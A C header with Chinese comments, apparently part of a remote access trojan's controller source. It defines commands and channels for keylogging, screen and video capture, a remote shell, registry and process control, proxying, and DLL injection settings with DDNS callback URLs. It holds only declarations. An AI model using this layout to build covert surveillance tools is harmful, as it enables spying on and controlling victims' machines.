?? mymarco.h
字號:
/*
* 公共變量,函數(shù)定義
*/
#include "resource.h"
//消息定義
#define WM_ADDCLIENT WM_USER + 401 //增加客戶
#define WM_MYITEMCHANGED WM_USER + 402 //項目變化
#define WM_CLIENTMAINRCLICK WM_USER + 405 //用戶右擊鼠標(biāo)
#define WM_RESIZE_WND WM_USER + 408 //重新排列項目
#define WM_LOGINSUCCESS WM_USER + 424 //登錄完成
#define WM_CLOSEITEM WM_USER + 604 //客戶關(guān)閉
//交易代碼
#define CLIENT_SYSTEM_RESTART 1020 //重啟客戶機器
#define CLIENT_SYSTEM_SHUTDOWN 1021 //關(guān)閉客戶機器
#define CLIENT_PRO_UNINSTALL 1022 //卸載客戶程序
#define CLIENT_MODIFY_INFO 1023 //更改客戶信息
#define CLIENT_LOGIN_SUCCESS 1024 //簽到成功
#define CLIENT_FRAME_START 1028 //開始屏幕拷貝
#define CLIENT_FILES_START 1029 //開始機器管理
#define CLIENT_KEYMON_START 1032 //開始鍵盤監(jiān)控
#define CLIENT_TLNT_START 1033 //開始超級終端
#define CLIENT_REGEDIT_START 1034 //開始注冊表管理
#define CLIENT_PROC_START 1035 //開始進程管理
#define CLIENT_SERVICE_START 1036 //開始服務(wù)管理
#define CLIENT_MULIT_START 1037 //開始視音頻管理
#define CLIENT_PROXY 1038 //開始代理服務(wù)
#define CONN_MAIN 3000 //控制連接
#define CONN_FILE_UP 3004 //上傳文件
#define CONN_FILE_DL 3005 //下載文件
#define CONN_FILE_MANA_SEND 4001 //文件管理發(fā)送管道
#define CONN_FILE_MANA_RECV 4002 //文件管理接收管道
#define CONN_FILE_FRAM_SEND 4003 //屏幕監(jiān)控發(fā)送管道
#define CONN_FILE_FRAM_RECV 4004 //屏幕監(jiān)控接收管道
#define CONN_FILE_TLNT_SEND 4005 //超級終端發(fā)送管道
#define CONN_FILE_TLNT_RECV 4006 //超級終端接收管道
#define CONN_FILE_REGD_SEND 4007 //注冊表編輯發(fā)送管道
#define CONN_FILE_REGD_RECV 4008 //注冊表編輯接收管道
#define CONN_FILE_PROC_SEND 4009 //進程管理發(fā)送管道
#define CONN_FILE_PROC_RECV 4010 //進程管理接收管道
#define CONN_FILE_SERV_SEND 4011 //服務(wù)管理發(fā)送管道
#define CONN_FILE_SERV_RECV 4012 //服務(wù)管理接收管道
#define CONN_FILE_KEYM_SEND 4013 //鍵盤監(jiān)控發(fā)送管道
#define CONN_FILE_KEYM_RECV 4014 //鍵盤監(jiān)控接收管道
#define CONN_FILE_MULT_SEND 4015 //視頻監(jiān)控發(fā)送管道
#define CONN_FILE_MULT_RECV 4016 //視頻監(jiān)控接收管道
typedef enum tagWin32SysType{
Windows32s,
WindowsNT3,
Windows95,
Windows98,
WindowsME,
WindowsNT4,
Windows2000,
WindowsXP,
Windows2003
}Win32SysType;
typedef struct _MYLISTFILEINFO_
{
HWND hWnd;
UINT m_FileLen;
UINT m_FilePoint;
BOOL m_IsExec;
char m_LocalFile[256];
char m_RemoteFile[256];
}MYLISTFILEINFO,*LPMYLISTFILEINFO;
typedef struct _GOLBALVALUE_
{
BOOL m_IsMainExit;
HWND m_MainhWnd;
char m_UserName[256];
char m_UserPass[256];
int m_Response;
}GOLBALVALUE,*LPGOLBALVALUE;
typedef struct _CMDINFO_
{
UINT m_Command;
UINT m_DataLen;
}CMDINFO,*LPCMDINFO;
typedef struct _SOCKETINFO_
{
SOCKET s;
HANDLE thread;
}SOCKETINFO,*LPSOCKETINFO;
typedef struct _LOGINSUCCESS_
{
UINT m_Socket;
char m_Ip[20];
}LOGINSUCCESS,*LPLOGINSUCCESS;
typedef struct _LOGININFO_
{
UINT m_CpuSpeed; //CPU主頻
UINT m_MemContent; //內(nèi)存容量
char ID[17]; //唯一標(biāo)識
char m_PcName[64]; //計算機名稱
char m_SysType; //操作系統(tǒng)類型
char m_CpuCount; //CPU數(shù)量
char m_UserName[38]; //用戶名稱
}LOGININFO,*LPLOGININFO;
typedef struct _CLIENTITEM_
{
time_t m_LoginTime;
char m_Title[256];
SOCKET m_WorkSocket;
LOGININFO m_SysInfo;
}CLIENTITEM,*LPCLIENTITEM;
typedef struct _INITDLLINFO_
{
WORD m_ServerPort;
UINT m_ProcessId;
UINT m_DllFileLen;
char m_ProcessName[128];
char m_KeyName[24];
char m_CtrlFile[128];
char m_StartFile[128];
char m_ServerAddr[128];
char m_ParentFile[256];
char m_EventName[32];
char m_DdnsUrl[128];
char m_BakUrl[128];
char m_IsUpdate;
char m_ext[511];
}INITDLLINFO,*LPINITDLLINFO;
UINT WINAPI MyMainThread(LPVOID lPvoid);
UINT WINAPI MyChildThread(LPVOID lPvoid);
int AcceptClientMain(SOCKET s,LPCLIENTITEM pData);
BOOL SendData(SOCKET s, char *data, int len);
BOOL RecvData(SOCKET s, char *data, int len);
void TransParentDC(CRect rect,CDC * pDC);
BOOL ExecCmd(SOCKET s, UINT Command,int len);
void BcdToAsc(unsigned char *BcdStr,unsigned char *AscStr,int BcdStrLen);
void AscToBcd(unsigned char *AscStr,unsigned char *BcdStr,int AscStrLen);
BOOL GetValue(char * SrcStr,char * DesStr,char *Value);
BOOL MakeFilePath(char *pathName);
void GetMyFilePath(char* FileName);
void GetIniFileName(char* pFile);
bool CopySocket(HWND hWnd, SOCKET s, DWORD nInfo);
SOCKET StartTcp(WORD Port);
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -